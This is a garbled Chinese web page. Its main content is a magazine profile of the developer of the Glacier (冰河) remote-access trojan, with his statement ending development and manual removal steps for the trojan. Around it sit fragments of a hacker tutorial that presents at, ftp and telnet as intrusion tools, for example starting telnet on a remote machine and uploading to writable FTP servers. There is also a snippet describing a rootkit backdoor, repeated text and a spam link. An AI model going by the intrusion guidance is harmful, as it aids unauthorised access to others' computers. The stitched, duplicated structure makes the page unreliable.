六、at 这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序(知道net time的重要了吧?)。当我们知道了远程主机的当前时间,就可以利用此命令让其在以后的某个时间(比如2分钟后)执行某个程序和命令。用法:at time command computer。 表示在6点55分时,让名称为a-01的计算机开启telnet服务(这里net start telnet即为开启telnet服务的命令)。 七、ftp 大家对这个命令应该比较熟悉了吧?网络上开放的ftp的主机很多,其中很大一部分是匿名的,也就是说任何人都可以登陆上去。现在如果你扫到了一台开放 ftp服务的主机(一般都是开了21端口的机器),如果你还不会使用ftp的命令怎么办?下面就给出基本的ftp命令使用方法。 首先在命令行键入ftp回车,出现ftp的提示符,这时候可以键入"help"来查看帮助(任何DOS命令都可以使用此方法查看其帮助)。 大家可能看到了,这么多命令该怎么用?其实也用不到那么多,掌握几个基本的就够了。 首先是登陆过程,这就要用到open了,直接在ftp的提示符下输入"open 主机IP ftp端口"回车即可,一般端口默认都是21,可以不写。接着就是输入合法的用户名和密码进行登陆了,这里以匿名ftp为例介绍。 用户名和密码都是ftp,密码是不显示的。当提示**** logged in时,就说明登陆成功。这里因为是匿名登陆,所以用户显示为Anonymous。 接下来就要介绍具体命令的使用方法了。 dir 跟DOS命令一样,用于查看服务器的文件,直接敲上dir回车,就可以看到此ftp服务器上的文件。 cd 进入某个文件夹。 get 下载文件到本地机器。 put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了,如果可以,呵呵,该怎么 利用就不多说了,大家就自由发挥去吧。 delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。 bye 退出当前连接。 quit 同上。 八、telnet 功能强大的远程登陆命令,几乎所有的入侵者都喜欢用它,屡试不爽。为什么?它操作简单,如同使用自己的机器一样,只要你熟悉DOS命令,在成功以 administrator身份连接了远程机器后,就可以用它来干你想干的一切了。下面介绍一下使用方法,首先键入telnet回车,再键入help查看其帮助信息。 然后在提示符下键入open IP回车,这时就出现了登陆窗口,让你输入合法的用户名和密码,这里输入任何密码都是不显示的。 当输入用户名和密码都正确后就成功建立了telnet连接,这时候你就在远程主机上具有了和此用户一样的权限,利用DOS命令就可以实现你想干的事情了。
黄鑫的经典动作
冰河作者“黄鑫”专访
想看激情视频电影请点此
永远的"冰河"
--访著名软件"冰河"的开发者黄鑫
摘自 《黑客防线》第八期
曾有一段时间,"黑客"在中国被人这样曲解:"黑客就是会用'冰河'黑别人电脑的人!"一听便知这是外行笑话,但引起这场误会的却是"冰河"这个在国内网络安全圈从知名度到装机量都名列前茅的软件。这款优秀网络工具一经问世就颇受争议,争议的核心是它既可当作植入被攻击端的木马,也可作为正当的网络远程管理利器。"冰河"既是软件名也是其作者黄鑫的化名,这个名字挺"酷",容易联想到霜天雪地里冷酷冰下涌动的寒流。自"发源"以来,这条奔涌的"冰河"流域,不计其数的"菜鸟"们从这一流域步入更为广阔的网络安全技术天地。公平地讲,"冰河"及其开发者黄鑫在中国网络安全技术发展史上应占有一席之地。今天让我们一起走近黄鑫,涉入"冰河"。
印象中,自然界里"冰河"何等肃杀与寒气彻骨,而坐在我面前的程序员黄鑫却热情如火,谈笑风生。在北京盛夏一个雨后清爽怡人的傍晚,我随着他对往事清晰的回忆,沿"冰河"逆流而上,追溯源头……
"冰河"的起源
话题从黄鑫与电脑的第一镒亲密接触开始。97年的黄鑫还是西安电子科技大学的一位大三学生,说来难以置信,在大一大二的时候,他还没怎么接触PC,用他自己的话说是:"有一天和宿舍最要好的同学觉得应该弄台电脑玩玩了,便两人凑钱买回一台'486'。"由于电脑在使用时受到了"晚上十一点就全面断电"的校规限制,小哥儿俩再次凑钱到校外租了间小房子。玩电脑开始的日子非常之"爽",他们经常在学校机房与个人"机房"之间以3寸软盘传递信息。但不多几日,"病毒"开始在其间滋生蔓延,学校杋 成了"病毒乐园"。那时的黄鑫还是个不折不扣的初级小菜鸟,自己电脑中了病毒仍浑然不知,还乐此不疲地拷贝着"NDD""PCTOOLS"以及当时流行的小游戏。直到一天电脑不再正常启动,这下他抓了瞎,自己不懂,就找那个要好的"购机合伙人"求援。好友看后送他一句话:"你中了'秋水'病毒!"。虽然到现在黄鑫仍无从考证当时好友判断的正误,今明两天在他当时白纸般简单的计算机知识"内存"中永久存储下了"秋水"这两个字。所谓知耻而后勇,此后黄鑫从如何用KV300、KILL等杀毒软件清除病毒开始了计算机知识的全面涉猎。那台"486"老爷车只能跑DOS,要硬跑起Windows95来则需要足够的耐心,但黄鑫与伙伴仍抵挡不住单机版"红色警戒"的诱惑。为了可以顺畅地把游戏玩爽,为了再遇故障和病毒可以自己解决,黄鑫决心把电脑知识学深学透!他首先从KV300恢复主引导区的概念受到启发,由研究DOS磁盘引导区入手,从文件分配表到55AA扇区一步步把原来看似神秘的东西搞清。回忆那时的经历,黄鑫说:"正是病毒的存在才让我感到电脑的趣味无穷!"如果不是这份兴趣,他恐怕不会将才智和精力全部投入其中,也就不会有日后"冰河"这一影响他人自己一生的"作品"的诞生。
没过多久,己是"中级菜鸟"的黄鑫不再满足于用现成的软件按个F'X'功能键对系统进行自动修复了,他开始使用debug,开始涉及汇编语言,很快就能不再借助任何第三方工具而用手工恢复引导扇区。不久后又将这一手工过程通过一个自编的汇编小程序自动实现,初偿成果的他小有成就感,至此,黄鑫只用短短数月便完成了由"初级小菜鸟"到"初级专家"的质的转变。此时在计算机求知路上的黄鑫己是脱缰的野马,任何成绩的取得都不能放慢他向更高技术层次进取的脚步。正好大三下学期开设了C语言课程,C语言可实现的那些汇编语言无法比拟的强大功能深深吸引了黄鑫,在同班一位极具编程天赋的同学的鼓足下,他开始了自己编程研究的重要转型,主攻C语言,可以想见,对于汇编语言己料熟于心的他,再学C语言可谓触类旁通,很快轻松上手了。但每想到潜心修得的一身汇编硬功就此"废弃",黄鑫的惋惜之情溢于言表,由此也让黄鑫深刻认识到计算机知识的更新速度之快,让求知者不得喘息。从大三开始对计算机知识如饥似渴的汲取,为黄鑫日后成为开发出"冰河"这样经典软件的优秀程序员奠定了坚实的基础。应该说"冰河"今天的一泻千里得益于当年的厚积薄发,大学时代知识的点滴积累就是汇成汹涌"冰河"源头的涓涓细流。
初出茅庐,小试锋芒
大三后半学期开始,黄鑫与那位擅长编程的同学联系到咸阳市的一家公司做一份没有报酬的"兼职",为的是丰富自己的实际开发经验。两人每个周末从西安跑咸阳一趟,为该公司开发一个数控机床的工控机软件。这顶开发也充分发挥了他在DOS与汇编方面的特长。两个人连贯数日挑灯夜战,效率极高,原开发单位一个月没有完成的工作转到他俩手中仅用4天就将一个DOS下运行的仿Windows界面框架构建完毕,接着只用两周时间全部开发工作顺利完成。虽说这个小项目与日后黄鑫参与的大型开发任务无法相比,但毕竟是第一次工作实践。人生每一个有意义的"第一次"都是值得纪念的。后来得知这套工控机软件在全国销路很好,两个没有拿到一分钱奖励的大学生却由衷地感到自豪与成就感。该公司希望他们留下来,但长时间在西安与咸阳间往返奔波毕竟不便,黄鑫决定在母校"西电"附近的软件公司寻找机会。可每次面试,对方刚听完他的自荐便主观判定这个未出校门的手头小伙子既无工作经验,更不可能身怀绝技,甚至还对一个学生的工作责任心表示怀疑,这令黄鑫非常不快也挺寒心。最后他以一种无所谓的心态在一位本校老师开的一家名叫"创富"的小软件公司与这位老师面谈,他明确地跟对方说:"你如果试用我一两个月,说出我什么地方不行,我马上心服口服地走人,但如果连个考察的机会都不给,那未免太主观臆断了。"这位老师觉得有理,就拿出一个别人用Delphi编得不很完善的程序让他修改,黄鑫用了不到半个小时就轻松搞掂,于是他被聘用了。正是这份兼职在他日后的职业发展道路上起到了重要作用,他出众的开发能力很快受到这位老师常识,便在黄鑫毕业后将他推荐到在深圳的"中国科技开发院"工作。当时的黄鑫因有在校与同学打架的记录,毕业评定多少有些不利,他清楚地赢利恰好是"西电"老校友的"开发院"老总面试他时的第一句话:"你现在还敢打架吗?"而黄鑫的回答仍有个性:"有什么不敢的?"老总立即笑道:"行,你来我们这儿吧!"不久后黄鑫得知老总曾是昔日"西电"散打队的一员,原来两人的经历与性格很像,老总也话在黄鑫身上看到了当年的自己,说到两人的友情,黄鑫话很多。两人年纪相差整一轮,既是校友、上下级,更是忘年至交。"他就像一位老大哥,在我多次处境困难的时候无私地帮助过我。"黄鑫一脸真诚地说。除了感激,黄鑫对他更多的是发自内心的敬佩,苟合他的人格魅力、事业心、驾驭企业发展的管理水平、市场动作能力,特别是洞悉判断人的锐利慧眼。大四下半学期,早已完成毕业设计的黄鑫开始在"开发院"上班了。在其后一年多的时间里他的研发水平不断提高,其间他作为主要研发人员参与完成了标底1000万的上市公司"南宁百货"企业MIS系统招标项目,共历时9个月。约一年后他又被借调到广州科友公司做一个USB口令卡的开发,此项目3个月一个开发周期,第一个周期是在模拟环境中完成产品的测试,就在做完测试前后,黄鑫因家庭生活的经济困难以及个人职业发展的长远考虑,面对上海一家公司开出的明显优厚的待遇条件,做出第一次跳槽的决定。当时钱对他是一个很实际的问题。但公司的现状和他自己的做人原则都决定了不可能向公司提什么条件,与"老大哥"谈及此事,对方虽感惋惜,也表示了极大的理解。面对公司的挽留,黄鑫一再强调个人原因的同时非常真诚地表达了对老总本人和公司的感谢与不舍。时至今日,这两位忘年至交仍保持着不减当年的真挚友情与密切联系。
他到上海那家公司后工作一度还算顺心,公司先前许诺的待遇条件都兑现了。但天有不测风云,刚巧又过了3个月,公司上层决定放弃黄鑫参与开发的这个项目,更糟的是公司对整个行业前景不再看好而决定转向,这意味黄鑫注定再次跳槽。于是"冰河"首次来了北京。北京也是他一直想来的地方,这里有全国最好的安全研究环境,不过他现在就职的北京思乐信息技术公司是深圳思乐公司所属的分去机构,看来黄鑫与深圳还是有缘。至此,这条不安分的"冰河"从西到南再向东,最后流到了北,程序员黄鑫算是在北京相对稳定了下来。
"'木马''冰河'入梦来"
大四后期早早就完成毕业设计,又有一身编程绝技在身不愁工作去向,黄鑫显得比同学轻松自在许多,于是学校附近的网吧经常可以看到他的身影,已在单机上把加解密之类的东西玩熟玩透了的他,有一天便萌发了在网上大搞"隐身与瞒天过海之术"的想法。通过接触当时很流行的"BO"以及"netspy"等后门程序,更激发他将这一想法付诸实施。因为他发现这些程序在功能实现上也有局限,比如当时的"netspy"只是一个扩展的FTP客户/服务端程序,防范起来比较容易,相比之下"BO"的功能要强大很多,但它毕竟是泊来品,黄鑫觉得自己完全有能力开发出功能更强大完善的工具来,这也是提高自己网络编程水平的好机会。以前缺少必要的网络测试环境,Winsock都未曾涉及,正好就此进行一番"恶补"。之时Delphi强大的控件功能派上了用场,在开发建立网络连接模块时大大节省了时间,提高了效率,开发的前期还比较顺利,网络编程对他这样一个汇编与C语言高手来说自然不是什么难事,偶遇生僻费解的问题,他就去请教那位编程水平很高的同学,很快,作为"冰河"雏形的一个可执行文件终于问世,还来不及起名字就先在宿舍同学之间进行测试,大家普遍反应不错,说比"BO"一点也不差,后来又将测试中发现的不足和问题进行改善。事情至此也就告一段落了,软件只是在同学中伟着玩,当时的黄鑫从没想过把这个开发动机很单纯的软件发布出去以求名利双收,但事情在其后一个偶然的机会里发生了改变。在那次去做"南宁百货"的招标项目时,开发组中一位南宁当地的技术人员用过这个"冰河测试版"后也大加赞赏,由于他接触国际互联网校早,对互联网广泛的影响力体会很深,就强烈建议黄鑫将这个软件在网上发布,比起网上众多很不入流的"共享软件",这个软件定会大受欢迎。一番话将黄鑫说动了,决定一试,这时才想起还没给软件正式命名,大伙儿就一起帮着想,后来采取的方式是把金山词霸打开随机地敲入一个拼音字母,看出来什么字和什么联想诩,最后在"流沙"、"冰河"等词儿中选中了"冰河",这个日后广为传播的"酷名"就是这么随意"瞎起"的。不过黄鑫现在也觉得有些"歪打正着":"表面封冻的坚冰下暗流仍在涌动",与"木马"特性颇为暗合,还兼具点儿文学韵味。接下来的问题就是选哪个网站上传发布,那位南宁的同事先推荐了一个名为"PCHOME"(电脑之家)的网站,黄鑫自己又在网上找到了一个"中国程序员网站",于是两个站点都放上去发布。
"冰河"发布后果然反响热烈,北方工业大学的两位研究生最先给黄鑫发来Email,在对"冰河"大加称赞的同时,还希望交友,以便交流提高。他俩当时正给电信部门做一个"远程监控"的项目,经比较,他们认为同类软件中"冰河"综合性能最佳,后来又有大批的企业网管给他写信,请教与探讨技术细节,无意中黄鑫也交到了很多朋友。"冰河"从黄鑫在校时开发其雏形,到1.0测试版正式发布一直是英文版的,一心想着尽快做出这个软件的他完全没有考虑语言支持问题,但一经对外发布,问题就来了,一位英文不好的网友给他发信指出:"作为'冰河'开发者,你是中国人,面向的也主要是中国用户,为什么不写'中文版'?难道中国人自己的软件还要中国人来汉化吗?不会是为了炫耀你的英文水平吧?"一席话真给黄鑫提了醒,没想到自己完全忽略了这个重要问题,他一点儿也没在意网友有点过激的言辞,仅仅一周后就完成发布了"冰河"1.1中文版。可中文版刚发布几天又发生了一件令他啼笑皆非的小插曲:他又收到一位网友的来信:"我用的是英文操作系统,没有中文环境,你能不能出个英文版?"黄鑫只好回信耐心告知他此前有英文版,再后来还有人指出"冰河"操作界面比较简陋,应加以完善,这些来信让黄鑫在感到"众口难调"的同时更感到"冰河"的大受欢迎,为此他计划在"冰河"中实现多语言环境支持并将其彻底"变脸",那时他正忙于"济南百货MIS系统"的开发,在没有影响工作进度的情况下,他用业余时间将"冰河"升级到了1.2版,在此需要特别提一下,后来"冰河"从1.2直接升至2.0而不是1.3、1.4、1.5等等类推,是因为黄鑫发现自己最初软件结构的设计思路很有局限,在此结构上的升级空间越来越小,所以,"冰河"2.0除新增"键盘记录"、"载取CACH口令"等少量新功能外,较原来1.X版本的最大改进就是整个程序结构特别是操作界面的变化,不再是以前版本的简单升级,其后又有"冰河"2.1、2.2的改进版本。
身为这款被很多人视作著名"木马"软件的开发者,黄鑫自己从未用它"搞"过任何一台别人的电脑,从初次开发到每次升级后的测试都是在属于自己学习或工作的网络环境中进行的,而在互联网上不足10次的测试都是通过OICQ向在线好友发出请求,经对方同意后在其电脑上进行的。其实黄鑫本质上就是一个技艺高深的程序员,他关注的是技术本身,当看到自己以单纯动机开发出来的软件被他人用于实现不好的目的,也只能深感无奈。这里就自然说到有关"冰河"停止升级开发这一黄鑫自己都不愿过多提及的话题。"冰河"的最终版本是2.2B,此时的"冰河"已"风靡全国","那时我突然感到'冰河'把大家引入歧途了,我在技术论坛上发现,很多网友,特别是年纪很小、刚开始对网络着迷的小孩儿已经深信:'会用冰河就是黑客!'我敢说用'冰河'的人90%都是为了给别人种'木马'搞三十或是用来满足虚荣心的,真正用于个人正当远程控制或是对网络编程技术本身感兴趣以此进行研究的不到10%,这让我觉得'冰河'已失去了再升级下去的意义,做起来也没什么意思,所以到2.2B就终止了开发。"这是黄鑫对此事的自述。事实上,他知道什么是一个真正的优秀程序员应有的首先准则和社会责任。但"'冰河'现象"的事态发展并不为其开发者的自重与自律行为所左右,在朋友帮忙制作的"木马冰河"黄鑫个人主页的技术论坛上,到处充斥着"'冰河'黑机大法"的教学贴子,有的贴子还直奔"'冰河'万能密码"的主题,黄鑫看着自己以技术提高为良好初衷建立起来的网站正在变成一个"'木马''黑机'的交流园地",促使他不得不继终止"冰河"升级开发后,又关闭了"木马冰河"个人站点。
停止"冰河"的开发后黄鑫于2000年底加盟著名网络安全网站"安全焦点"(),他将完成公司本职工作之外的精力都用于知名扫描器"XSCAN"的开发升级以及"安全焦点"的建设维护,也许XSCAN的知名度没有"冰河"那么高,但用过扫描器软件的人对它都不会陌生,开发这款优秀扫描器的最初设想还是在2000年天极网组织的黑客大会上,几个技术圈里的朋友对他说:"'冰河'不再搞了,你总得再做点什么吧?"朋友建议他做扫描器,黄鑫也感觉不论从自己的技术特长和使用前景上看这是一个不错的主意,于是回来就开始做,并很快做出了框架。在"安全焦点"几位朋友提供大量漏洞及编程资料的协助下,开发进展顺利。XSCAN的第一个版本很快在"安全焦点"网站发布。下载量一路攀升,后来随着版本升级,支持插件、远程操作系统识别等重要功能都逐步得以实现,眼下SXCAN的2.0版即将问世。可以说XSCAN是继"冰河"后黄鑫的又一代表作,且就技术含量而言,更是超过了他的成名作"冰河"!现在,黄鑫一面继续着XSCAN的版本升级,一面正主攻他在"安全焦点"的一个重要研发任务,就是被形象地称为"黑客陷阱"的引诱攻击继而对其跟踪检测分析的"HONEYPOT"(蜜罐)系统,攻击者一扫描到"HONEYPOT"就会以为这是一台毫不设防的"肉鸡",一旦发起攻击其攻击行为和手段的每一步每个细节都被"HONEYPOT"单机版模拟环境,"HONEYPOT"的开发意义在于扩大其中国内技术领域的认知度,以吸引更多的人加入这一技术的研讨。
从"冰河"到"XSCAN",再到"HONEYPOT",黄鑫在程序开发的技术探索上步步为营,不断积累着宝贵经验。现在的黄鑫正值一名优秀程序员的黄金年龄,集锐气与成熟于一身,人们有理由期待他超越当年"冰河"的辉煌。
程序员黄鑫
黄鑫是广东人,这很容易从他的相貌特征上找到答案,由于父母长期在山西太原工作,黄鑫就出生在这里并一直生活到高中,除短短几年的南方学习与工作经历,26岁的他在北方生活了20余年。生活中的黄鑫喜交友重义气,初次接触就容易让人消除陌生感,不知长年的北方生活对他豪爽直率,热情健谈的气质有无潜移默化的影响。
父母都是知识分子,严格的家教使黄鑫从小学直到高中的一年级都是听话的好学生,学习成绩始终名列前茅,但父母的严教也有些偏颇,要求黄鑫将全部时间精力用在学校书本知识上,课外一切正当的兴趣爱好都不鼓励黄鑫去尝试。曾有一段时间,黄鑫迷上了书法、篆刻,这可是现在不少家长反对,用黄鑫自己的话就是:"家里对此疯狂打压",父母是怕这些爱好分散他的学习精力,即使这样,灵气十足的黄鑫还是练就了较好的书法、篆刻基本功,后来他继续按父母之命用功读书,只是对那些被迫放弃的爱好依然不舍,对不能拥有同学那样更多的业余娱乐时间心有不甘,幻想着有"解放"的那一天。终于到高中一年级时,父母因工作调动先回了湛江,暂时"没人管"的黄鑫那压抑已久的男孩淘气贪玩儿的天性在几个同学的带动下释放了出来,校内球场、校外花鸟市场随处可见他尽情玩耍的身影,打架也成家常便饭。放纵的结果是高一第一学期考试全班倒数第三名。好在这种低靡状态只持续到回湛江上高三前,在父母恢复严管与高考的重压下,学习成绩又很快上来,并顺利地考上大学。
高考时黄鑫的第一志愿报的是公安,他从小就想当警察,年幼时最喜欢戴"警察帽",这是典型和常见的男孩心理特点的理想。高考分数与体检都过了录取线,无奈报名且过线的人远远多于招收名额,又无特殊关系,最终与这个理想失之交臂。但黄鑫至今认为,如果当年能被录取,自己会是个出色的警察,至少不会现在当程序员做得差。也许当年的阴错阳差注定黄鑫终将是一个优秀的程序员而非警员,现实中这种"误打误中"的人生经历比比皆是。今天的黄鑫不应再有更多的遗憾,现在所取得的成绩已足以说明他的大脑就是为计算机技术而生,其实一切早已在冥冥之中注定。
黄鑫因"冰河"一举成名,他坦承"冰河"给他的生活带来许多的改变,有名气以及因名气间接带来的物质收益,但最让他看中的还是以"冰河"为媒结交的圈内外一大批志同道和的朋友,他视其为一生享用不尽的最大财富。酷爱金庸作品的黄鑫很认同"网络安全界"与"武林界"的许多相似之处,同样的高手如林、山外有山;同样的艺无止境、学海无涯;同样的人在江湖、义薄云天。
"冰河"也给黄鑫的生活带来很多意想不到的小烦恼和小幽默,网友们因"冰河"而对他很敬佩,更有的把他当成了"神仙",在QQ上他就同一个网友有过这样的对话:
网友:"您 就是'冰河'?",黄鑫:"是的。"网友:"那你是不是现在就能进到我的电脑里?"黄鑫看罢几乎要"晕倒"!
另一次,黄鑫电脑的个人防火墙有段时间经常报警显示有人对其进行扫描,一看端口正是"冰河"的默认端口7626,开始他没多介意,但时间久了难免烦人,于是黄鑫就编了一个伪"冰河"服务端,对方一连就能显示其IP,然后他用信息回复功能告之对方:"本人就是'冰河'开发者,求你不要再骚扰我"。对方可能是不信,收效不大,无奈之下他又开了一个简易的telnet服务端程序,然后跟对方说:"请你telnet到xxx.xxx.xxx.xxx咱们聊聊!"这下对方终于知道遇到了"真人",没有一个人敢上来应答。
现在的黄鑫很少谈"冰河",甚至不喜欢谈"冰河",因为在他看来,再谈一切与"冰河"相关的话题就是犯了"好汉不提当年勇"的大忌,无异于"躺着吃老本儿",这对于他是不能容忍的,对一个程序员意味着创造与想象力的枯竭,他现在最希望的就是人们忘记"冰河"或忘记"冰河"与他的关系,他不希望现在甚至多年以后,一提黄鑫这个名字人们记住的还只是"冰河",就如作家不希望人们只记住他的成名作,没有进取与创新,无法再超越自我对他们来说是最大的失败。古希腊哲人赫拉克利特认为世上万物都处在永远的变化之中,所以他说"人不可能两次涉入同一条河流"。在无休止变动的IT世界,年轻的黄鑫也不可能只开发一条"冰河"。所以没人知道"金庸迷"黄鑫"大侠"何时会"收山封刀,淡出江湖"。
附:黄鑫有关"'冰河'彻底停止开发及'木马冰河'网站正式关闭的声明"的特别启示:
声明
非常感谢您的关心,"冰河"程序已经于2000年4月17日彻底停止开发,"木马冰河"网站也于2000年5月份正式关闭。
"冰河"的最终版本是2.2B版,其他高版本都是别人用32位编辑器自己修改所得,并未征得我本人同意。所做的修改主要限于版本号或作者等明文信息,功能上没有任何增加,其实都是以2.2以前版本为修改蓝本,但我敢不保证修改者没有做过其他手脚。
2000年5月份至今,所有以"木马冰河"及"glacier"名义恶意修改他人页面,及2000年9月3日后在任何聊天室里以"冰河"身份目中无人大言不惭者均非本人。
个人认为技术研究的最终目的不是为了胡闹,而是在自由与开放的环境中发挥每个人的专长,进一步完善我们的系统与网络,同时达到安全技术和安全意识的广泛普及,使每个人都能够在相互交流的过程中得到提高。而这种充分交流的结果将会使系统更加完善,网络更加安全。一个简单的类比,魔术的魅力在于除了魔术师本人以外几乎没有人清楚它的底细,魔术师和观众的乐趣也恰在此处。到了多数人都能揭开谜底的时候,作为魔术师的你还会拿这个小把戏出来现眼吗?
我已经很少开QQ了,有事可以给我发e-mail:hunxin@21cn.com或glacier@xfocus.org,随时欢迎到我们的"安全焦点"做客(英文主站点)(中文站点),欢迎试用我们新开发的免费安全漏洞扫描器X-Scan并提出宝贵意见,在学习过程中遇到什么问题也可以在我们的论坛里发帖子("冰河"相关问题请直接给我来信)。
有不少朋友来信询问"冰河"的卸载方法,在此一并做答:
1.自动卸载:1.2以后版本的"冰河"本身提供了自动卸载的功能,在CLIENT端"命令控制台"的"控制类命令\系统控制\自动卸载"。只要先连接"127.0.0.1"(也就是你自己),然后执行"自动卸载"命令就可以彻底卸载"冰河"了。
2.手动卸载:
①以安全模式重新启动计算机;
②检查HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices两处是否有同名的可疑程序名(默认安装为kernel32.exe),如果有则删除该键;
③ 检查HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command处的键值是否为"\notepad.exe %1"(是指您的Windows所在目录,如"c:\windows"),"冰河"的默认设置是将该处键值修改为"sysexplr.exe %1",请自行做相应修正;
④检查HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command处的键值是否为""%1" %*",如果不是则进行修正;
⑤删除上述找到的可疑程序(默认文件名是目录下的"kernel32.exe"和"sysexplr.exe",如果"sysexplr.exe"因正在运行而无法删除,可以在第6步完成之后立即删除);
⑥若是Windows 98系统,直接按两次重新启动计算机;若是NT系统,按激活"任务管理器"并结束kernel32.exe进程,然后重新启动计算机。需要注意的是,您应该在修改注册表之后再删除可疑程序,否则对方若将"冰河"设置为与EXE文件关联,那您就连运行REGEDIT的机会都没有了。另外在修改注册表时您可能已经启动了与EXE文件关联的"冰河",而"冰河"在正常关闭时将会再次修改注册表,所以在Windows 98系统下通过来重新启动计算机是至关重要的一步。
5. Backdoor ]=========================================Rootkit程序 Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,
,不断积累着宝贵经验。现在的黄鑫正值一名优秀程序员的黄金年龄,集锐气与成熟于一身,人们有理由期待他超越当年"冰河"的辉煌。程序员黄鑫黄鑫是广东人,这很容易从他的相貌特征上找到答案,由于父母长期在山西太原工作,黄鑫就出生在这
,这又增加了我们入侵的保险系数。 三、netstat 这是一个用来查看网络状态的命令,操作简便功能强大。 -a 查看本地机器的所有开放端口,可以有效发现和预防木马,可以知道机器所开的服务等信息。 这里可以看出本地